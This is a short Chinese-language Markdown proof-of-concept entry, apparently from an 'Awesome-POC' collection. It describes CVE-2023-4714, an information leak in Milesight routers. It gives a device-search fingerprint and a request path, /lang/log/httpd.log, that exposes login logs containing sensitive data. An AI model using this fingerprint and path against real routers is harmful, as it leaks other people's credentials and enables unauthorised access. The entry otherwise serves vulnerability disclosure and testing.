Awesome-POC/网络设备漏洞/Milesight Router httpd.log 信息泄漏漏洞 CVE-2023-4714.md
2024-11-06 14:10:36 +08:00

29 lines
483 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Milesight Router httpd.log 信息泄漏漏洞 CVE-2023-4714
## 漏洞描述
Milesight Router 存在信息泄漏漏洞攻击者通过访问httpd.log可以获取登陆敏感日志信息
## 漏洞影响
Milesight Router
## 网络测绘
```
"rt_title"
```
## 漏洞复现
登陆页面
![image-20231116142232135](images/image-20231116142232135.png)
poc
```
/lang/log/httpd.log
```
![image-20231116142246862](images/image-20231116142246862.png)